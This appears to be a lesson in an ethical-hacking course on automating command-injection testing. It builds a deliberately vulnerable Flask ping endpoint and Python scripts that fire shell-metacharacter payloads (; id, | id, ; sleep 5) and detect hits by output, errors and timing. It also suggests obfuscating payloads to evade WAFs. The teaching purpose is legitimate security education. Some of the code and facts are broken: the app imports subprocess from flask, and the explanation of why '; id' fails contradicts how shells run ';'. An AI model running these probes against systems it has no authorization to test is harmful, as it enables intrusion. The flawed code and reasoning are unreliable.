Automate Web Attacks with Command Injection

Automate web attacks with Command Injection — Ethical Hacking tutorial, lesson 49.

Focus: automate web attacks with command injection

Sponsored

Submitting ; ls in a search box feels like a party trick — until you realize that one naive input field on a public-facing web app can hand an attacker shell access to the server. Manually testing every parameter against dozens of payloads is slow, error-prone, and guaranteed to miss the weird bypasses that matter. That's exactly why modern ethical hackers don't rely on luck or memory; they automate web attacks with command injection using Python-driven tools. In this lesson, you'll move past one-off curl commands and build a reusable automation script that probes, detects, and confirms command injection vulnerabilities — turning a tedious manual chore into a precise, repeatable security test.

The problem this lesson solves

Command injection is a server-side vulnerability where user input is concatenated into a shell command without proper sanitization. It's in the OWASP Top 10 for good reason: a single forgotten subprocess call in a Python web app or a missing escapeshellarg() in PHP can turn a harmless endpoint into a remote shell.

But the real problem isn't the vulnerability itself — it's finding it efficiently. Manual testing looks like this:

  1. You type ping -c 1 127.0.0.1; whoami into every input field.
  2. You wait, scroll, and squint at the response.
  3. You note the ones that seemed different.
  4. You repeat for every parameter, every endpoint, every time.

That approach is fine for a single lab machine, but it falls apart in a real engagement with dozens of pages, hundreds of parameters, and time-boxed schedules. Attackers automate this. If you're testing ethically (or securing your own apps), you need the same speed and coverage.

Furthermore, manual testing is inconsistent. Human eyes miss subtle blind injection signals — a 6-second delay instead of 5, a tiny change in response size, an error message that only appears in the HTTP headers. Automation removes that bias and gives you reproducible evidence for your report.

Core concept / mental model

Think of a web application as a vending machine. It accepts coins (your input), validates them, and dispenses a product (the response). Command injection is like finding that the machine doesn't actually check the coin's denomination — it just feeds whatever you drop directly into the internal gear mechanism. You're not paying for a soda; you're controlling the gears themselves.

Technically, the vulnerable pattern looks like this:

# Vulnerable example (never do this in production)
import subprocess, os

def ping_host(host):
    # Bad: user-controlled 'host' goes straight into the shell
    return subprocess.check_output(f"ping -c 1 {host}", shell=True)

If an attacker sends 127.0.0.1; whoami, the shell executes ping first, then whoami, and returns both outputs — the classic smoking gun.

To automate this, you replace the manual loop with a script that: - Injects a set of well-crafted payloads into every parameter of every tested endpoint - Detects the injection through response content, timing, or size anomalies - Automates the process across many targets

In other words, you trade a human eyeball for a Python loop that's faster, more thorough, and leaves an audit trail.

The core mental model has three layers: payload generation (what you inject), detection logic (how you know you hit), and response capture (what you verify with). Master these three, and you can automate command injection detection against almost any web app.

How it works step by step

Here's the high-level workflow you'll implement (or recognize in existing tools):

Step 1: Identify injection points

Start with reconnaissance (covered in earlier lessons). Map the target's endpoints and parameters — GET query strings, POST form fields, JSON bodies, even headers like X-Forwarded-For if the app uses it in commands.

Step 2: Choose your payload set

Don't dump every payload from a wordlist. Hand-craft a core set that covers the most common shell metacharacters and blind detection methods:

  • Basic command execution: ; id, | whoami, && whoami, whoami
  • Blind time-based: ; sleep 5 (or ping -c 5 127.0.0.1 for platforms without sleep)
  • Error-based: ; invalid-command to trigger a recognizable error message
  • Output-redirection variants: > /tmp/out then fetch the file (if you control another request)

Step 3: Send and capture responses

The script sends each payload (URL-encoded properly) and records: - HTTP status code - Response body (first N bytes or full length) - Response time (critical for blind detection)

Step 4: Analyze for signs of injection

Detection rules vary by payload type: - Content-based: look for the command's output (e.g., uid=0(root) or a specific string you echoed) - Time-based: if response time jumps above a threshold (e.g., >4 seconds for sleep 5), that's a strong signal - Error-based: response contains an OS-specific error like sh: invalid-command: not found

Step 5: Confirm and document

For each suspect, run a confirmation payload that's unambiguous — like echo YOURUNIQUETAG and verify that exact token appears in the response. Then log the full request/response pair for your report.

Here's a simplified flowchart in words: start with a baseline timing check → send each payload → compare response to baseline → if abnormal, run a confirmation → log and move on.

Hands-on walkthrough

Now let's actually build a small Python automation script. We'll use requests (install with pip install requests) because it's simple and widely available.

Setup a vulnerable test target

For learning, spin up a deliberately vulnerable app. A classic example is a small Flask app that pings an IP address (you can run this locally):

# app.py — DO NOT USE IN PRODUCTION
from flask import Flask, request, subprocess

app = Flask(__name__)

@app.route('/ping')
def ping():
    ip = request.args.get('ip', '127.0.0.1')
    # VULNERABLE: shell=True with unsanitized input
    result = subprocess.check_output(f"ping -c 1 {ip}", shell=True, stderr=subprocess.STDOUT, timeout=10)
    return result.decode('utf-8')

if __name__ == '__main__':
    app.run(port=5000)

Run it with python app.py. Your automation script will attack this app.

Build the automated injection tester

Save the following as auto_inject.py:

import requests
import time
import sys

TARGET = "http://127.0.0.1:5000/ping"
PARAMS = ["ip"]  # from reconnaissance

# Payload set: adjust for your OS (tested on Linux/macOS)
PAYLOADS = [
    "; id",
    "| id",
    "&& id",
    "`id`",
    "; sleep 3",
    "| sleep 3",
    "; invalid-cmd",
    "; echo MYUNIQUETAG123"
]

TIMEOUT_THRESHOLD = 5.0  # seconds

def test_payload(base_params, payload):
    params = base_params.copy()
    # Inject into first parameter (simplified; in real world loop all)
    params[PARAMS[0]] = params[PARAMS[0]] + payload
    try:
        start = time.time()
        r = requests.get(TARGET, params=params, timeout=10)
        elapsed = time.time() - start
        body = r.text
        # Detection heuristics
        if ("uid=" in body or "MYUNIQUETAG123" in body):
            return "CONTENT", body[:200], elapsed
        if "invalid-cmd" in body:
            return "ERROR", body[:200], elapsed
        if elapsed > TIMEOUT_THRESHOLD:
            return "TIME", "", elapsed
        return None, body[:200], elapsed
    except requests.Timeout:
        return "TIME", "", 10.0
    except Exception as e:
        return "ERROR_REQ", str(e), 0

def main():
    findings = []
    base_params = {PARAMS[0]: "127.0.0.1"}
    print(f"[*] Testing {TARGET} with {len(PAYLOADS)} payloads...")
    for payload in PAYLOADS:
        signal, output, elapsed = test_payload(base_params, payload)
        if signal:
            print(f"[+] INJECTION DETECTED: {payload} -> {signal}")
            findings.append((payload, signal, output, elapsed))
        else:
            print(f"[-] {payload} -> no signal (benchmark: {elapsed:.2f}s)")
    print(f"\n[+] Total potential findings: {len(findings)}")
    for f in findings:
        print(f"\nExploit: {f[0]}\nSignal: {f[1]}\nSample: {f[2]}\nTime: {f[3]:.2f}s")

if __name__ == "__main__":
    main()

Run it with python auto_inject.py. Expected output (trimmed) should look like:

[*] Testing http://127.0.0.1:5000/ping with 8 payloads...
[-] ; id -> no signal (benchmark: 0.01s)
[+] INJECTION DETECTED: | id -> CONTENT
[-] && id -> no signal (benchmark: 0.01s)
...

Why did only some payloads trigger? Because the app wraps the input in ping -c 1 ... — the first payload ; id runs after ping completes (fine), but if ping fails, the shell may never reach the second command. The | id pipes ping's output into id, but ping returns non-zero if the host is unreachable, so id may be skipped depending on the shell. Your script should try multiple metacharacters for exactly this reason. (In practice, tuning per target matters.)

Automating blind time-based detection

If the app returns no output at all (blind injection), you can still detect it via timing. Here's a minimal script that focuses on time:

import requests, time

def is_vulnerable(url, param, payload, threshold=5.0):
    params = {param: "127.0.0.1" + payload}
    start = time.time()
    try:
        requests.get(url, params=params, timeout=threshold*2)
    except:
        pass
    elapsed = time.time() - start
    return elapsed > threshold, elapsed

url = "http://127.0.0.1:5000/ping"
for payload in ["; sleep 5", "| sleep 5", "&& sleep 5"]:
    flag, t = is_vulnerable(url, "ip", payload)
    print(f"{payload:12} -> {t:5.2f}s -> {'VULNERABLE' if flag else 'negative'}")

# Expected: at least one payload triggers a >5s response and flag VULNERABLE

Pro tip: Always compare against a baseline request without payload to avoid false positives from slow network or server load.

Compare options / when to choose what

You don't have to build your own script — several open-source tools automate command injection attacks. Here's a quick comparison to help you decide when to use what:

Tool Best for Speed Ease of use Blind support Customization
Custom Python script (like above) Learning, precise control, odd payloads Fast (single session) Medium (coding required) Yes (you write it) Unlimited
Commix Full-featured automated test Fast, multi-threaded Easy (CLI) Excellent (time, error, output) Good (configurable)
sqlmap (for SQL, not command) SQL injection only — not for command injection N/A N/A N/A N/A
Burp Suite Intruder GUI-based manual automation Medium Medium Requires extension High (via extensions)

When to choose what: - Learning & integration: Write your own Python script. You understand every step, and you can integrate it into a larger recon or exploitation pipeline. - Speed & coverage: Use Commix for a quick sweep of many URLs; it has built-in payloads and detection methods. - Manual / GUI environments: Burp Intruder helps when you want to eyeball responses and tweak payloads live. - If the vulnerability looks like SQL (e.g., you see database errors), use sqlmap — but command injection and SQL injection are different beasts, so don't mix them up.

Your Python script shines when: you need to run a custom payload, verify a subtle blind case, or chain with other automation (like a report generator).

Troubleshooting & edge cases

Automation is great until it's not. Here are the most common issues you'll hit and how to fix them:

  1. Payload doesn't execute because of byte limiting or escaping - Symptom: no output, no error, no timing change. - Fix: Try alternative metacharacters (|, ;, &&), URL-encode properly, or use a newline %0a for some parsers.

  2. requests Sends payload but server encodes it differently - Symptom: payload appears in the URL but not the shell. - Fix: Inspect the actual request with Burp or a proxy; ensure you're not double-URL-encoding. Use requests' params correctly — it handles encoding, but if the app decodes once, your %0a might become a literal %0a.

  3. Blind time-based detection is flaky - Symptom: false positives due to slow network. - Fix: Measure baseline latency (e.g., 5 identical requests) and set threshold to max(baseline)*2 + 1. Also use a longer sleep (e.g., 10 seconds) if the app buffers.

  4. shell=True may behave differently on Windows vs Linux - Symptom: sleep works on Linux but not Windows. - Fix: Use ping -n 5 127.0.0.1 on Windows, or normalize your payload set automatically based on the target OS from reconnaissance.

  5. Output contains binary data or is truncated - Symptom: script hangs or crashes on large responses. - Fix: Set stream=True and read only first few KB, or max response size in requests via content[:1000].

  6. Session / authentication required - Symptom: 403 or login page instead of injection results. - Fix: Reuse a requests.Session() with cookies/tokens (you'll cover auth in later lessons).

  7. WAF or IDS interference - Symptom: some payloads are blocked, others pass. - Fix: Implement payload obfuscation (e.g., base64 encoding, case variation) after you've confirmed baseline detection in a lab. Keep it simple first.

What you learned & what's next

You've now automated the detection of command injection using Python — moving from manual probes to a repeatable script that checks multiple payloads, detects via content or timing, and logs findings. You can explain the core mechanics of command injection and how automation minimizes human error and maximizes coverage, meeting this lesson's objectives.

Key takeaways to remember: 1. Command injection occurs when user input is concatenated into shell commands without sanitization. 2. Automation with Python (requests) lets you test many payloads across multiple parameters efficiently. 3. Detection signals include output content, error messages, and response time (blind injection). 4. Always confirm potential findings with a unique echo tag to avoid false positives. 5. Choose between custom scripts and tools like Commix based on your need for control vs. speed. 6. Tweak payloads and detection thresholds per target OS and WAF context.

Next step: You've mastered how to automate the attack — now you need to defend against it. In the next lesson, you'll learn mitigation strategies, including input validation, parameterized commands, and proper escaping, so you can apply your new hacking skills to harden real-world applications. Get ready to flip the script.

Pro tip: Keep this script in your toolkit. Slightly modified, it can also automate SQL injection detection (different payloads, same logic) — but don't jump ahead; master command injection first.

Practice recap

Set up a deliberately vulnerable Flask app (as shown above) and run the automation script. Then, try hardening the app by replacing shell=True with a safe subprocess.run(["ping", "-c", "1", ip]) and re-run your script — it should no longer detect any injection. This contrast gives you a feel for both attack and defense, and you'll carry that empathy into the mitigation lesson.

Practice recap

Recreate the vulnerable Flask app from the walkthrough, then run both the content-based and time-based automation scripts against it. After you see a positive hit, patch the app by replacing the vulnerable shell=True line with a parameterized subprocess.run([...]) call, and re-run your script to confirm it comes back clean. This attack-and-patch cycle solidifies both your offensive and defensive understanding.

Common mistakes

  • Using only one metacharacter (e.g., ;); the app may filter it but allow | or newline injections — your payload set must cover all common separators.
  • Forgetting to URL-encode payloads; spaces and & get mangled, so the request never sends what you intended. Use requests params or urllib.parse.quote.
  • Assuming output-based detection always works; many apps return no output (blind), so you must include time-based and error-based payloads.
  • Not saving the full request/response for the report; a screenshot or log of only the shell output won't prove the attack vector to a client or team.
  • Timing detection with no baseline — you flag slow network as vulnerable. Always compare against a normal request.

Variations

  1. Use subprocess in Python to run the actual curl command, if you need to mimic a specific browser or handle complex multi-part forms.
  2. Leverage the commix CLI tool, which automates command injection detection with many built-in payloads and supports blind/time-based techniques — great for quick wide sweeps.
  3. Integrate your script with Burp Suite Intruder by exporting a list of payloads and using Burp's session handling for authenticated testing.

Real-world use cases

  • Security consultant runs an automated command injection scan across a client's web app during an annual pentest, checking every parameter in minutes instead of days.
  • DevOps engineer sets up a CI hook that runs the injection tester against a staging environment after each deployment to catch regressions before production.
  • Bug bounty hunter uses a custom time-based automation script to discover a blind command injection in a file upload endpoint, earning a bounty by delivering a PoC.

Key takeaways

  • Command injection arises from un-sanitized user input reaching the shell; automation is essential to test many parameters efficiently.
  • A reliable script sends multiple payloads with different metacharacters and detects via content, errors, and timing.
  • Blind injection is discoverable with time-based payloads like sleep 5 and a good baseline threshold.
  • Always confirm findings with an echo of a unique tag to eliminate false positives.
  • Choose between custom Python scripts (control) and tools like Commix (speed) based on the engagement's needs.
  • Document every request/response for proof and traceability.

Sponsored

Sponsored

Discussion

Questions, corrections, and tips help everyone reading this page.

0 comments

Add a comment

Shown publicly with your comment.

Be constructive · max 4,000 characters

No comments yet — start the thread.

Related tutorials, quizzes, and articles for this topic.